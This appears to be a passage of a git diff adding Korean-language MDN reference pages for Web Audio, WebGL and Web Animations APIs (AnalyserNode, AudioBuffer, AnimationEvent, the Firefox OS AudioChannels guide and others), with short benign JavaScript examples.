
+ +
+
{{domxref("AnalyserNode.fftSize")}}
+
부호가 없는(unsigned long value) 주파수 영역에서의 전체 크기의 값을 나타내기 위한 푸리에 변환의 값의 크기를 나타낸다. (대략적으로 설명을 하면 해당 주파수영역을 보는데 얼마나 세밀하게 데이터를 볼것인지를 나타낸다. 클수록 세밀하지만 시간이 오래걸리고 작으면 빨리한다.)
+
 
+
{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}
+
부호가 없는 푸리에변환 값의 절반을 나타낸다. 이 값은 일반적으로 데이터를 시각화 하기위해 사용되는 데이터의 수와 같다.
+
{{domxref("AnalyserNode.minDecibels")}}
+
double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최소값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최소값은 getByteFrequencyData()를 사용하여 얻은 결과값이다.
+
{{domxref("AnalyserNode.maxDecibels")}}
+
double형 값으로 표현되는  FFT(푸리에 변환)로 분석된 데이터의 범위에서의 최대값을 나타낸다. 이는 부호가 없는 바이트 값으로 변환된다. 일반적으로 이 특정한 최대값은 getByteFrequencyData()를 사용하여 얻은 결과값이다.
+
{{domxref("AnalyserNode.smoothingTimeConstant")}}
+
double형 값으로 마지막에 분석된 프레임의 평균 정수값을 나타낸다. 일반적으로 이 값을 통해 time smoother상의 값들을  변환하는데 사용된다.
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 을 상속하는 메서드.

+ +
+
{{domxref("AnalyserNode.getFloatFrequencyData()")}}
+
현재의 주파수 데이터를  {{domxref("Float32Array")}} 로 복사해 전달한다.
+
+ +
+
{{domxref("AnalyserNode.getByteFrequencyData()")}}
+
현재의 주파수 데이터를  {{domxref("Uint8Array")}} (unsigned byte array) 로 복사해 전달한다.
+
+ +
+
{{domxref("AnalyserNode.getFloatTimeDomainData()")}}
+
현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를  {{domxref("Float32Array")}} 배열에 전달한다.
+
{{domxref("AnalyserNode.getByteTimeDomainData()")}}
+
현재 데이터의 파형, 또는 시간기반(time-domain) 데이터를 {{domxref("Uint8Array")}} (unsigned byte array) 로 전달한다.
+
+ +

Example

+ +

이 예제는  {{domxref("AudioContext")}} 를 사용해 AnalyserNode를 생성하여 사용하는 방법을 보여주고,  {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} 를 통해 반복적으로 시간기반(time-domain) 의 정보를 반복적으로 수집 및  "oscilloscope style" 를 통해 입력된 오디오 정보를 시각화하여 보여주는 예제입니다. 더 많은 정보와 예제는  Voice-change-O-matic demo (see app.js lines 128–205 for relevant code)를 확인 하세요.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+// 새로운 AnalyserNode를 생성한다.
+  ...
+
+analyser.fftSize = 2048; // FFT의 크기를 2048로 한다.
+var bufferLength = analyser.frequencyBinCount; // 시각화를 하기 위한 데이터의 갯수
+var dataArray = new Uint8Array(bufferLength); // 데이터를 담을 bufferLength 크기의 Unit8Array의 배열을 생성
+analyser.getByteTimeDomainData(dataArray); // 시간기반의 데이터를 Unit8Array배열로 전달
+
+// 얻어진 데이터를 기반으로 시각화 작업을 한다. 캔버스를 이용한다.
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +

{{Compat("api.AnalyserNode")}}

+ +

See also

+ + diff --git a/files/ko/web/api/angle_instanced_arrays/index.html b/files/ko/web/api/angle_instanced_arrays/index.html new file mode 100644 index 0000000000..0e86bf91ba --- /dev/null +++ b/files/ko/web/api/angle_instanced_arrays/index.html @@ -0,0 +1,83 @@ +--- +title: ANGLE_instanced_arrays +slug: Web/API/ANGLE_instanced_arrays +translation_of: Web/API/ANGLE_instanced_arrays +--- +
{{APIRef ( "WebGL")}}
+ +

ANGLE_instanced_arrays확장은 WebGL API의 일부이며 동일한 객체 또는 동일한 객체 그룹을 같은 정점 데이터, 기본 개수 및 유형을 공유하는 경우 여러 번 그릴 수 있습니다.

+ +

WebGL 확장은 {{domxref ( "WebGLRenderingContext.getExtension()")}} 메서드를 사용하여 사용할 수 있습니다. 자세한 내용 WebGL 자습서의 Extensions 사용을 참조하십시오 .

+ +
+

가용성 : 이 확장은 {{domxref ( "WebGLRenderingContext", "WebGL1", "", 1)}} 컨텍스트에서만 사용할 수 있습니다. {{domxref ( "WebGL2RenderingContext", "WebGL2", "", 1)}}에서이 확장 기능은 기본적으로 WebGL2 컨텍스트에서 사용할 수 있으며 상수 및 메서드는 ANGLE접미사 없이 사용할 수 있습니다 .

+ +

"ANGLE"이라는 이름에도 불구하고이 확장은 하드웨어가 ANGLE 라이브러리를 사용할 때 Windows에서만 지원하는 것이 아닌 모든 장치에서 작동합니다. "ANGLE"은이 확장이 ANGLE 라이브러리 작성자에 의해 작성되었음을 나타냅니다.

+
+ +

상수

+ +

이 확장은 {{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} 메서드에서 사용할 수있는 하나의 새로운 상수를 제공합니다.

+ +
+
ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE
+
{{domxref ( "WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}}에서 pname매개 변수 로 사용될 때 인스턴스 렌더링에 사용되는 빈도 제수를 설명하는 {{domxref("GLint")}}를 반환합니다 .
+
+ +

메서드

+ +

이 확장은 세 가지 새로운 메서드를 노출합니다.

+ +
+
{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}}
+
+

{{domxref ( "WebGLRenderingContext.drawArrays ()", "gl.drawArrays ()")}}와 동일하게 동작하지만 요소 범위의 인스턴스가 여러 개 실행되고 각 반복마다 인스턴스가 진행됩니다.

+
+
{{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()", "ext.drawElementsInstancedANGLE ()")}}
+
+

{{domxref ( "WebGLRenderingContext.drawElements ()", "gl.drawElements ()")}}와 동일하게 동작하지만 요소 세트의 여러 인스턴스가 실행되고 각 세트간에 인스턴스가 진행됩니다.

+
+
{{domxref ( "ANGLE_instanced_arrays.vertexAttribDivisorANGLE ()", "ext.vertexAttribDivisorANGLE ()")}}
+
+

{{domxref ( "ANGLE_instanced_arrays.drawArraysInstancedANGLE ()", "ext.drawArraysInstancedANGLE ()")}} 및 {{domxref ( "ANGLE_instanced_arrays.drawElementsInstancedANGLE ()")}}로 여러 프리미티브 인스턴스를 렌더링 할 때 일반 정점 속성이 증가하는 비율을 수정합니다. , "ext.drawElementsInstancedANGLE ()")}}.

+
+
+ +

예제

+ +

확장 기능 사용 :

+ +
var ext = gl.getExtension ( 'ANGLE_instanced_arrays');
+
+ +

사양

+ + + + + + + + + + + + + + +
사양지위논평
{{SpecName ( 'ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}{{Spec2 ( 'ANGLE_instanced_arrays')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat ( "api.ANGLE_instanced_arrays")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/animationevent/animationevent/index.html b/files/ko/web/api/animationevent/animationevent/index.html new file mode 100644 index 0000000000..4647191202 --- /dev/null +++ b/files/ko/web/api/animationevent/animationevent/index.html @@ -0,0 +1,76 @@ +--- +title: AnimationEvent() +slug: Web/API/AnimationEvent/AnimationEvent +tags: + - API + - CSSOM + - Constructor + - Experimental + - Reference + - Web Animations +translation_of: Web/API/AnimationEvent/AnimationEvent +--- +
{{APIRef("Web Animations")}}{{SeeCompatTable}}
+ +

AnimationEvent() 생성자는 애니메이션 이벤트인 {{domxref("AnimationEvent")}} 객체를 새로 만들어 리턴합니다. 

+ +

문법

+ +
animationEvent = new AnimationEvent(type, {animationName: aPropertyName,
+                                           elapsedTime  : aFloat,
+                                           pseudoElement: aPseudoElementName});
+
+ +

매개 변수

+ +

AnimationEvent() 생성자는 인자를 {{domxref("Event.Event", "Event()")}} 객체로부터 상속받습니다. 

+ +
+
type
+
{{domxref("DOMString")}}는 AnimationEvent 타입의 이름을 나타냅니다. 대소문자를 구별하며, 'animationstart', 'animationend', 또는 'animationiteration' 와 같이 쓸 수 있습니다.
+
animationName {{optional_inline}}
+
{{domxref("DOMString")}}는 {{cssxref("animation-name")}}의 변화와 관련된 CSS 프로퍼티 값을 포함합니다. 디폴트 값은 "" 입니다.
+
elapsedTime {{optional_inline}}
+
+

float 타입 값이며 이벤트가 발생할 시, 애니메이션이 정지했던 시간을 제외하고 실제 실행되었던 시간을 초 단위로 받습니다. "animationstart" 이벤트의 경우, {{cssxref("animation-delay")}}의 네비게이트 값이 존재하지 않는다면 elapsedTime은 0.0이고, 네비게이트 값이 존재한다면 elapsedTime이 (-1 * delay)값이 되고 이벤트가 발생하게 됩니다. 디폴트 값은 0.0입니다.

+
+
pseudoElement {{optional_inline}}
+
"::"로 시작하는 {{domxref("DOMString")}} 이고, 애니메이션이 실행되는 pseudo-element의 이름을  포함합니다. 애니메이션이 pseudo-element에서 실행되지 않고, 원소 자체에서 실행된다면 빈 스트링 : ""을 명시하십시오. 디폴트 값은 "" 입니다.
+
+ +

리턴 값

+ +

주어진 옵션에 의해 초기화된 {{domxref("AnimationEvent")}}

+ +

상세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent()') }}{{ Spec2('CSS3 Animations')}}초기 정의
+ +

브라우저 호환성

+ +
+

{{Compat("api.AnimationEvent.AnimationEvent")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/animationevent/animationname/index.html b/files/ko/web/api/animationevent/animationname/index.html new file mode 100644 index 0000000000..8d63e43708 --- /dev/null +++ b/files/ko/web/api/animationevent/animationname/index.html @@ -0,0 +1,53 @@ +--- +title: AnimationEvent.animationName +slug: Web/API/AnimationEvent/animationName +tags: + - API + - AnimationEvent + - CSSOM + - 레퍼런스 + - 실험중 + - 웹 애니메이션 + - 프로퍼티 +translation_of: Web/API/AnimationEvent/animationName +--- +

{{SeeCompatTable}}{{ apiref("Web Animations API") }}

+ +

읽기 전용 프로퍼티인 AnimationEvent.animationName는 변화(transition)과 관련된 CSS 프로퍼티 {{cssxref("animation-name")}}의 값을 포함하는 {{domxref("DOMString")}}입니다.

+ +

문법

+ +
name = AnimationEvent.animationName
+ +

명세서

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-animationName', 'AnimationEvent.animationName') }}{{ Spec2('CSS3 Animations')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.AnimationEvent.animationName")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/animationevent/index.html b/files/ko/web/api/animationevent/index.html new file mode 100644 index 0000000000..757e9a911e --- /dev/null +++ b/files/ko/web/api/animationevent/index.html @@ -0,0 +1,78 @@ +--- +title: AnimationEvent +slug: Web/API/AnimationEvent +tags: + - API + - Experimental + - Interface + - Reference + - Web Animations +translation_of: Web/API/AnimationEvent +--- +

{{SeeCompatTable}}{{APIRef("Event")}}

+ +

AnimationEvent 인터페이스는 에니메이션과 관련된 정보를 제공하는 이벤트를 나타냅니다.

+ +

{{InheritanceDiagram}}

+ +

생성자

+ +
+
{{domxref("AnimationEvent.AnimationEvent", "AnimationEvent()")}}
+
주어진 매개변수로 AnimationEvent를 생성합니다.
+
+ +

속성

+ +

{{domxref("Event")}}의 속성을 상속합니다.

+ +
+
{{domxref("AnimationEvent.animationName")}} {{readonlyInline}}
+
트랜지션과 관련된 {{cssxref("animation-name")}} CSS 속성의 값을 가진 {{domxref("DOMString")}}입니다.
+
{{domxref("AnimationEvent.elapsedTime")}} {{readonlyInline}}
+
애니메이션이 재생된 총 시간을 나타내는 실수입니다. 초 단위로, 애니메이션이 일시정지된 시간은 제외합니다. animationstart 이벤트의 elapsedTime0.0이지만, {{cssxref("animation-delay")}} 값이 음수였다면 대신 (-1 * delay)를 값으로 가집니다.
+
{{domxref("AnimationEvent.pseudoElement")}} {{readonlyInline}}
+
애니메이션이 재생 중인 의사 요소의 이름을 값으로 가진 {{domxref("DOMString")}}입니다. '::'으로 시작합니다. 애니메이션이 일반 요소에서 재생 중이라면 빈 문자열 ''을 반환합니다.
+
+ +
+
+ +

메서드

+ +

{{domxref("Event")}}의 메서드를 상속합니다.

+ +
+
{{domxref("AnimationEvent.initAnimationEvent()")}} {{non-standard_inline}}{{deprecated_inline}}
+
삭제 예정 메서드 {{domxref("Document.createEvent()", "Document.createEvent(\"AnimationEvent\")")}}를 사용해 AnimationEvent를 초기화합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Animations', '#AnimationEvent-interface', 'AnimationEvent') }}{{ Spec2('CSS3 Animations') }}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.AnimationEvent")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/animationtimeline/currenttime/index.html b/files/ko/web/api/animationtimeline/currenttime/index.html new file mode 100644 index 0000000000..8a647166b6 --- /dev/null +++ b/files/ko/web/api/animationtimeline/currenttime/index.html @@ -0,0 +1,102 @@ +--- +title: AnimationTimeline.currentTime +slug: Web/API/AnimationTimeline/currentTime +translation_of: Web/API/AnimationTimeline/currentTime +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

 

+ +

Web Animations API의 AnimationTimeline 인터페이스의 currentTime 읽기 전용 속성은 타임 라인의 현재 시간을 밀리 초 단위로 반환하거나 타임 라인이 비활성 상태이면 null을 반환합니다.출력 값이 생성되는 시간 세그먼트를 정의합니다. 이러한 값은 대상 속성에 애니메이션 효과를 적용하는 데 사용됩니다.

+ +
var currentTime = AnimationTimeline.currentTime;
+ +

Value

+ +

 

+ +

타임 라인의 현재 시간을 밀리 초 단위로 나타내는 숫자 또는 타임 라인이 비활성 상태 인 경우 null입니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#dom-animationtimeline-currenttime', 'currentTime' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54)}} +

{{CompatGeckoDesktop(34)}}[1]

+
{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(54)}}{{CompatChrome(54)}}{{CompatGeckoMobile(34)}}[1]{{ CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+ +

[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can let it in beta and release forms by setting the preference dom.animations-api.core.enabled to true, and can disable it in any Firefox version by setting this preference to false.

+
+ +

See also

+ + diff --git a/files/ko/web/api/animationtimeline/index.html b/files/ko/web/api/animationtimeline/index.html new file mode 100644 index 0000000000..0ae7553352 --- /dev/null +++ b/files/ko/web/api/animationtimeline/index.html @@ -0,0 +1,56 @@ +--- +title: AnimationTimeline +slug: Web/API/AnimationTimeline +tags: + - API + - Animation + - AnimationTimeline + - Experimental + - Interface + - Reference + - Web Animations + - waapi + - web animations api +translation_of: Web/API/AnimationTimeline +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

The AnimationTimeline interface of the Web Animations API represents the timeline of an animation. This interface exists to define timeline features (inherited by {{domxref("DocumentTimeline")}} and future timeline types) and is not itself directly used by developers. Anywhere you see AnimationTimeline, you should use DocumentTimeline or any other timeline type instead.

+ +

Properties

+ +
+
{{domxref("AnimationTimeline.currentTime")}} {{readonlyInline}}
+
Returns the time value in milliseconds for this timeline or null if this timeline is inactive.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Animations', '#the-animationtimeline-interface', 'AnimationTimeline' )}}{{Spec2('Web Animations')}}Editor's draft.
+ +

Browser compatibility

+ + + +

{{Compat("api.AnimationTimeline")}}

+ +

See also

+ + diff --git a/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html new file mode 100644 index 0000000000..1e07e262c6 --- /dev/null +++ b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html @@ -0,0 +1,248 @@ +--- +title: Using the AudioChannels API +slug: Web/API/Audio_Channels_API/Using_the_AudioChannels_API +tags: + - Firefox OS + - Guide + - Non-standard +translation_of: Archive/B2G_OS/API/Audio_Channels_API/Using_the_AudioChannels_API +--- +

{{DefaultAPISidebar("Audio Channels API")}}{{ non-standard_header() }}

+ +
+

오디오 채널 API(Audio Channels API)는 현재 Firefox OS 전용 기능으로, 응용프로그램의 오디오 컨텐트를 중요성에 따른 계층구조로 배치하도록 한다. 이는 다른 오디오의 재생과 액션 발생에 반응하여 오디오가 일시정지되고 다시재생될 때를 지시하고 다른 종류의 볼륨을 제어할 수 있도록 한다. 이 가이드는 오디오 채널에 대한 기본적인 사용방법을 보여줄 것이다.

+
+ +

오디오 채널의 종류는 다음과 같다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
채널 이름중요도용도앱 권한 수준
normal1UI 효과음, 앱과 웹 컨텐트Normal
content2음악, 라디오, 비디오Normal
notification3새 이메일, SMS 수신음Privileged
alarm4알람 시계, 캘린더 알람Privileged
ringer5전화 수신 벨소리Internal
telephony6진행중인 통화, VOIP 통화Internal
publicnotification7강제된 카메라 셔터음Internal
+ +

하나의 오디오 채널이 사용되면, 언제든지 낮은 우선순위의 채널들은 자동으로 일시정디 된다. 단, 한가지 예외가 있는데, "normal"과 "content"채널은 동일한 우선순위를 가진다. 이는 "content"채널이 사용된다면 "normal"채널과 믹싱된다는 것을 의미한다. 만약 두 앱이 동시에 "content" 채널을 사용하려 한다면, 포어그라운드 앱이 우선권을 가진다. 만약 두 앱 모두 백그라운드 앱이라면, 마지막에 채널을 사용시도한 앱이 우선권을 가진다.

+ +
+

Note: 각 채널은 음소거와 볼륨 설정을 따로 가지고 있다.

+
+ +
+

Note: "telephony" 채널은 통화용 내장 스피커를 사용한다. 다른 모든 채널은 스피커 또는 헤드폰/헤드셋 등을 사용한다.

+
+ +

유즈 케이스

+ +

As obvious user-centric uses cases, audio channels allow users to play music from audio player apps even when they are running in the background, so they can do other things as it plays. However, they probably want the music to pause when someone rings the phone. As another example, when users mute their phone, they probably don't want to also mute their wake up alarm for the next morning.

+ +

Other use cases:

+ + + +

예제 앱

+ +

To explain audio channel functionality, we have built a sample app, imaginitively called audio-channels-demo (you can see it running live here.) The following shows what it looks like on Firefox OS.

+ +

A demo showing a title of AudioChannels demo, with an audio player and a select box to choose an audio channel to play the audio in.

+ +

The demo provides an audio player, and a {{htmlelement("select")}} box for choosing what audio channel to play the audio in (only "Normal" and "Content" are provided.) When the content audio channel is selected, you will be able to go to the homescreen and put the app in the background but still have the music keep playing. This is not the case with the normal channel — "normal" audio content is stopped when an app goes into the background.

+ +

To interrupt the playing of "content" audio content, you could try phoning the phone that the app is running on, or setting off an alarm. As you can see from the table above, these are both in higher priority audio channels.

+ +

The app also fires notifications when audio is interrupted or play resumes, and when the headphones are unplugged or plugged in again. Let's explore how this functionality is implemented.

+ +

매니페스트 권한이 요구된다

+ +

As explained in the table near the top, the different audio channels require a range of different permission levels for their use in apps, ranging from normal (hosted apps) to internal (also known as certified.) In any case, you do need to declare the permissions field in your manifest.webapp file to use AudioChannels, once per channel (note that we also declared permission to use system notifications, as they are used in our demo app also.)

+ +
"permissions": {
+  "audio-channel-normal" : {
+    "description" : "Needed to play this app's audio content on the normal channel"
+  },
+  "audio-channel-content" : {
+    "description" : "Needed to play this app's audio content on the content channel"
+  },
+  "desktop-notification" : {
+    "description" : "Needed to fire system notifications"
+  }
+}
+ +

Selecting the audio channel

+ +

Changing the audio channel to play the audio through in the app is a slightly more complex matter than you might think. Declaring the channel type statically in your HTML might look like this:

+ +
<audio mozaudiochannel="content" autoplay src="myAudio.ogg"></audio>
+ +

Declaring it dynamically in your JavaScript might look like this:

+ +
var player = new Video();
+player.mozAudioChannelType = 'content';
+player.src = '../video-clips/myVideo.ogv';
+ +

However you do it, you need to declare the channel before you declare the src of the media you want to play, so it can be loaded and placed into the right channel. For this reason, our demo app does it in a slightly convoluted way, deleting and then recreating the audio player each time the audio channel is changed:

+ +
function createAudio(channelValue) {
+
+  ...
+
+  audioContainer.innerHTML = '';
+  var player = document.createElement('audio');
+  var source1 = document.createElement('source');
+  var source2 = document.createElement('source');
+
+  player.controls = true;
+  player.mozAudioChannelType = channelValue;
+  source1.src = 'audio/dragon.ogg';
+  source1.type = 'audio/ogg';
+  source2.src = 'audio/dragon.mp3';
+  source2.type = 'audio/mpeg';
+
+  player.appendChild(source1);
+  player.appendChild(source2);
+  audioContainer.appendChild(player);
+
+  ...
+
+}
+
+channelSelect.addEventListener('change', function() {
+  createAudio(channelSelect.value);
+});
+ +

So the createAudio() function is run when the {{htmlelement("select")}} box (referenced in the JS as channelSelect) has its value changed, with the channelSelect value as a parameter. In this function, the audioContainer (a simple {{htmlelement("div")}} that wraps the audio player) has its contents deleted. Next, a new audio player and {{htmlelement("source")}} elements are created, have their necessary attributes filled in, and are added back into the audioContainer. Note that player.mozAudioChannelType = channelValue; is included before the audio source is set.

+ +

So with the audio channel set to "content", you can now keep the audio playing even when the app is in the background.

+ +

Setting which channel's volume to control

+ +

As well as setting what audio channel your audio is going to play in, you can also separately set what channel will have its volume adjusted when the user presses the device's volume keys. This for example allows us to adjust our standard content's volume without affect ringer or alarm volume. It is controlled using the {{domxref("AudioChannelManager.volumeControlChannel")}} property. So at the top of the createAudio() function, we include this block:

+ +
function createAudio(channelValue) {
+  if (navigator.mozAudioChannelManager) {
+    if(channelValue == 'normal') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+    } else if(channelValue == 'content') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+    }
+    console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+  }
+
+  ...
+
+}
+
+ +

The {{domxref("AudioChannelManager")}} object is accessed by a call to the {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} property — note the moz prefix. This is first done to provide some rudimentary feature detection, so trying to access this feature won't break the app on platforms that don't support it. Next, we include an if ... else if block to check what channel value was passed into the function from the {{htmlelement("select")}} element, and then set the volumeControlChannel value accordingly.

+ +

Firing notifications when the audio is interrupted

+ +

Now we have audio playing in an audio channel, it will be interrupted either when a more important audio channel starts being played (for example when a telephone call is received), or when the app is moved into the background in the case of the lowest priority "normal" channel. When this condition ends, our channel will resume playing. We can respond to these events using the mozinterruptbegin and mozinterruptend event handlers, which can be attached to the video or audio player playing the audio. You can see these handlers being used at the bottom of the createAudio() function:

+ +
function createAudio(channelValue) {
+
+  ...
+
+  player.addEventListener('mozinterruptbegin', function() {
+    var notification = new Notification('Metal interrupted!', { body: "Something more important?" });
+  });
+
+  player.addEventListener('mozinterruptend', function() {
+    var notification = new Notification('Metal resumed!', { body: "Important thing finished." });
+  });
+}
+ +

Here we attach both relevant event listeners to the audio player; when the events occur, we run simple functions that fire system notifications to tell the user what has happened. See the following screenshots for what it will look like:

+ +
A notification at the top of the Firefox OS interface saying Metal interrupted: something more important? A notification at the top of the Firefox OS interface saying Metal resumed: important thing finished?
+ +

Firing notifications when the headphones are (un)plugged

+ +

The {{domxref("AudioChannelManager")}} object includes a {{domxref("AudioChannelManager.headphones","headphones")}} property that returns true if headphones are plugged into the device and false if not, and an event handler — {{domxref("AudioChannelManager.onheadphoneschange","onheadphoneschange")}} — which fires whenever headphones are plugged in to or unplugged from the device. We decided to use these together to create a headphone status notification system:

+ +
if (navigator.mozAudioChannelManager) {
+  navigator.mozAudioChannelManager.onheadphoneschange = function() {
+    if(navigator.mozAudioChannelManager.headphones == true) {
+      var notification = new Notification('Headphones plugged in!');
+    } else {
+      var notification = new Notification('Headphones unplugged!');
+    }
+  }
+}
+ +

Let's go through this and explain what's happening. Again, multiple calls are made to {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}, first for feature detection, then to set up a function that runs when the onheadphoneschange handler fires. Inside this function, we check whether the headphones property returns true — if so, the headphones are plugged in, so we tell the user that with a notification. If not, they must be unplugged, so we return a suitable notification for that case too. The notifications will look something like this:

+ +

A notification at the top of the Firefox OS interface saying Headphones plugged in!

+ +

Specifications

+ +

The AudioChannels API has no official spec at the moment; see https://wiki.mozilla.org/WebAPI/AudioChannels for implementation details, WebIDL, etc.

+ +

See also

+ +
 
+ + diff --git a/files/ko/web/api/audiobuffer/index.html b/files/ko/web/api/audiobuffer/index.html new file mode 100644 index 0000000000..8c5e1a8736 --- /dev/null +++ b/files/ko/web/api/audiobuffer/index.html @@ -0,0 +1,172 @@ +--- +title: AudioBuffer +slug: Web/API/AudioBuffer +translation_of: Web/API/AudioBuffer +--- +

{{APIRef}}

+
+

AudioBuffer는 {{ domxref("AudioContext.decodeAudioData()") }} 혹은 {{ domxref("AudioContext.createBuffer()") }}를 통해 만들어진 로우 데이터를 메모리상에 두고 사용하는 기술이다. 일단 한번 AudioBuffer 에 들어간 정보는 {{ domxref("AudioBufferSourceNode") }}를 통해 재생이 가능하다.

+

이 객체는 일반적으로 45초 이하의 오디오 정보를 가지고 있다. 더 긴 시간의 소리정보는 {{domxref("MediaElementAudioSourceNode")}}를 사용하는 것이 더 적합하다.  The buffer contains data in the following format:  non-interleaved IEEE754 32-bit linear PCM with a nominal range between -1 and +1, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.  만약에  {{domxref("AudioBuffer")}} 가 멀티 채널을 가진다면 이는 버퍼를 나눠서 저장을 합니다.

+
+

Properties

+
+
+ {{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}
+
+ 버퍼에 저장된 샘플정보의 매 초당 배율을 float형으로 리턴한다.
+
+ {{domxref("AudioBuffer.length")}} {{readonlyInline}}
+
+ 샘플프레임안의 버퍼에 저장된 PCM정보의 길이를 정수형으로 리턴한다.
+
+ {{domxref("AudioBuffer.duration")}} {{readonlyInline}}
+
+ 버퍼에 저장된 PCM정보의 재생길이를 double형으로 리턴한다.
+
+ {{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}
+
+ 버퍼에 저장된 PCM정보에 의해 구분된 채널의 갯수를 정수형으로 리턴한다.
+
+

Methods

+
+
+ {{domxref("AudioBuffer.getChannelData()")}}
+
+ {{jsxref("Float32Array")}}에 담긴 PCM데이터와 channel 파라메로 정의된 채널 정보(첫번째 채널은 0)를 리턴한다.
+
+ {{domxref("AudioBuffer.copyFromChannel()")}}
+
+ 특정 채널의 AudioBuffer를 destination배열로 복사를 한다.
+
+ {{domxref("AudioBuffer.copyToChannel()")}}
+
+ 특정 채널의 AudioBuffer에 source배열로 부터 정보를 복사해 온다.
+
+

Example

+

이 예제는 어떻게 AudioBuffer 를 생성하고 랜덤한 화이트 노이즈를 채우는 방법을 설명한다.  audio-buffer demo 에서 전체 소스를 확인 가능하고 running live 실시간 테스트고 가능하다.

+
// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+    // This gives us the actual array that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i < frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+
+  // start the source playing
+  source.start();
+
+}
+
+

Specification

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}{{Spec2('Web Audio API')}}Initial definition.
+

Browser compatibility

+
+ {{CompatibilityTable}}
+
